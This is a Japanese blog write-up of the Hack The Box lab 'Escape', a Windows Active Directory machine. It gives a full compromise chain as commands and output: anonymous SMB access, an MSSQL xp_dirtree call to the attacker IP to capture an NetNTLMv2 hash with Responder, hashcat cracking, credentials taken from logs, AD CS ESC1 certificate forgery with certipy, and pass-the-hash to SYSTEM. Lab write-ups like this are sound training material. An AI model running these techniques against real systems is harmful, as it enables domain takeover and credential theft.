Ch4n24n のアイコン

Ch4n24n

戻る：Writeups

HTB Lab - Escape (Windows / Medium)

2026/11/10 公開約14分Writeups

HTBWindowsActive_DirectoryMSSQLNTLMv2ResponderHashcatWinRMAD_CSESC1CertipyPass-the-HashCredential_Hunting

概要

  1. 匿名で Public 共有の PDF を取り、MSSQL のユーザ PublicUser でログイン
  2. MSSQL から SMB 要求を実行することで、Responder が sql_svc の NetNTLMv2 を捕捉し、rockyou で解読
  3. WinRM で sql_svc のシェルを取り、ERRORLOG.BAK から Ryan.Cooper のパスワードを得る
  4. AD CS の UserAuthentication が持つ ESC1 を利用し、Administrator の証明書を発行
  5. PKINIT で SYSTEM を取得

対象環境

項目値
問題Escape
難易度Medium
OSWindows
IP10.129.228.253
攻撃者IP10.10.14.248

攻撃フロー

1. 偵察

rustscan で全ポートを確認。
88 / 389 / 445 / 1433 / 5985 が開いており、LDAP がドメイン sequel.htb、ホスト名 DC を返す

Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.228.253:53
Open 10.129.228.253:88
Open 10.129.228.253:389
Open 10.129.228.253:445
Open 10.129.228.253:1433
Open 10.129.228.253:5985
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-10 01:23:29Z)
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

dc.sequel.htb と sequel.htb を /etc/hosts に足した

Ch4n24n@htb[/htb]$ echo $TARGET 'dc.sequel.htb sequel.htb' | sudo tee -a /etc/hosts
10.129.228.253 dc.sequel.htb sequel.htb

2. 匿名SMBでPDF取得

ヌルセッションで共有一覧が出る。Public に SQL Server Procedures.pdf がある

Ch4n24n@htb[/htb]$ smbclient -L $TARGET -N
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
Public          Disk
SYSVOL          Disk      Logon server share
 
Ch4n24n@htb[/htb]$ smbclient //$TARGET/Public -N
smb: \> ls
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 22:39:43 2022
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf

PDF に MSSQL の資格情報 PublicUser:GuestUserCantWrite1 が載っている

3. MSSQLへログイン

SQL 認証で guest@master に入る

Ch4n24n@htb[/htb]$ impacket-mssqlclient 'PublicUser'@$TARGET
Password:
[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
SQL (PublicUser  guest@master)>

4. NetNTLMv2捕捉と解読

tun0 で Responder を待受け、MSSQL 側で SMB 要求をする

SQL (PublicUser  guest@master)> EXEC master..xp_dirtree '\\10.10.14.248\share\'

すると、sequel\sql_svc の NetNTLMv2 が届く

Ch4n24n@htb[/htb]$ sudo responder -I tun0
[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 10.129.228.253
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::sequel:af187699...

hashcat -m 5600 と rockyou で sql_svc:REGGIE1234ronnie が出る

Ch4n24n@htb[/htb]$ hashcat -m 5600 'sql_svc::sequel:af187699...' /usr/share/wordlists/rockyou.txt
...:REGGIE1234ronnie
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Recovered........: 1/1 (100.00%) Digests (total)

5. sql_svcのシェルとERRORLOG

WinRM が通る

Ch4n24n@htb[/htb]$ netexec smb $TARGET -u 'sql_svc' -p 'REGGIE1234ronnie'
SMB         10.129.228.253  445    DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie
 
Ch4n24n@htb[/htb]$ netexec winrm $TARGET -u 'sql_svc' -p 'REGGIE1234ronnie'
WINRM       10.129.228.253  5985   DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)

evil-winrm で sequel\sql_svc のシェルに入り、C:\SQLServer\Logs\ERRORLOG.BAK を読む
Ryan.Cooper の資格情報を見つける

Ch4n24n@htb[/htb]$ evil-winrm -i $TARGET -u 'sql_svc' -p 'REGGIE1234ronnie'
*Evil-WinRM* PS C:\Users> whoami
sequel\sql_svc
*Evil-WinRM* PS C:\SQLserver\Logs> type ERRORLOG.BAK
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

Ryan.Cooper:NuclearMosquito3 でも WinRM が通る

Ch4n24n@htb[/htb]$ netexec winrm $TARGET -u 'Ryan.Cooper' -p 'NuclearMosquito3'
WINRM       10.129.228.253  5985   DC               [+] sequel.htb\Ryan.Cooper:NuclearMosquito3 (Pwn3d!)

6. ESC1の確認と証明書発行

（１）脆弱テンプレを確認

Ryan.Cooper で証明書の脆弱性を確認
テンプレ UserAuthentication に ESC1 が立つ。Domain Users で enroll できる

Ch4n24n@htb[/htb]$ certipy-ad find -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -vulnerable -stdout -dc-ip $TARGET
Certificate Authorities
  0
    CA Name                             : sequel-DC-CA
    DNS Name                            : dc.sequel.htb
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
Certificate Templates
  0
    Template Name                       : UserAuthentication
    Enabled                             : True
    Client Authentication               : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Requires Manager Approval           : False
    [+] User Enrollable Principals      : SEQUEL.HTB\Domain Users
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

（２）Administrator を名乗る証明書を発行

Ch4n24n@htb[/htb]$ certipy-ad req -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip $TARGET -ca 'sequel-DC-CA' -template UserAuthentication -upn 'Administrator@sequel.htb'
[*] Requesting certificate via RPC
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Saving certificate and private key to 'administrator.pfx'

7. PKINITでSYSTEM

自端末の時計を DC に合わせてから PKINIT し、Administrator の NT ハッシュを取る

Ch4n24n@htb[/htb]$ sudo timedatectl set-ntp 0; sudo ntpdate -t 5 -u dc.sequel.htb
2026-11-10 19:26:23.105181 (+0900) +28799.917027 +/- 0.050545 dc.sequel.htb 10.129.228.253 s1 no-leap
CLOCK: time stepped by 28799.917027
 
Ch4n24n@htb[/htb]$ certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET
[*]     SAN UPN: 'Administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for 'administrator@sequel.htb': aad3b435...:a52f78e4...

NT ハッシュで psexec

Ch4n24n@htb[/htb]$ impacket-psexec -hashes :a52f78e4... Administrator@dc.sequel.htb
[*] Found writable share ADMIN$
[*] Starting service VDDb.....
Microsoft Windows [Version 10.0.17763.2746]
C:\Windows\system32>

参考

おわりに

  • Medium 程度の難易度とされていますが、実際には Easy の中~上くらいだと思います💦
  • 攻略までのステップ数が少なく、各ステップも基本的な内容だったので、ADの攻略に慣れている方であれば詰まりなく解けると思います
次に読む
Ch4n24n のアイコン
この記事を書いた人Ch4n24n

Hack The Box などで手を動かして覚えたことを書いています。writeup、攻撃手法のノート、雑談。

© 2026 Ch4n24n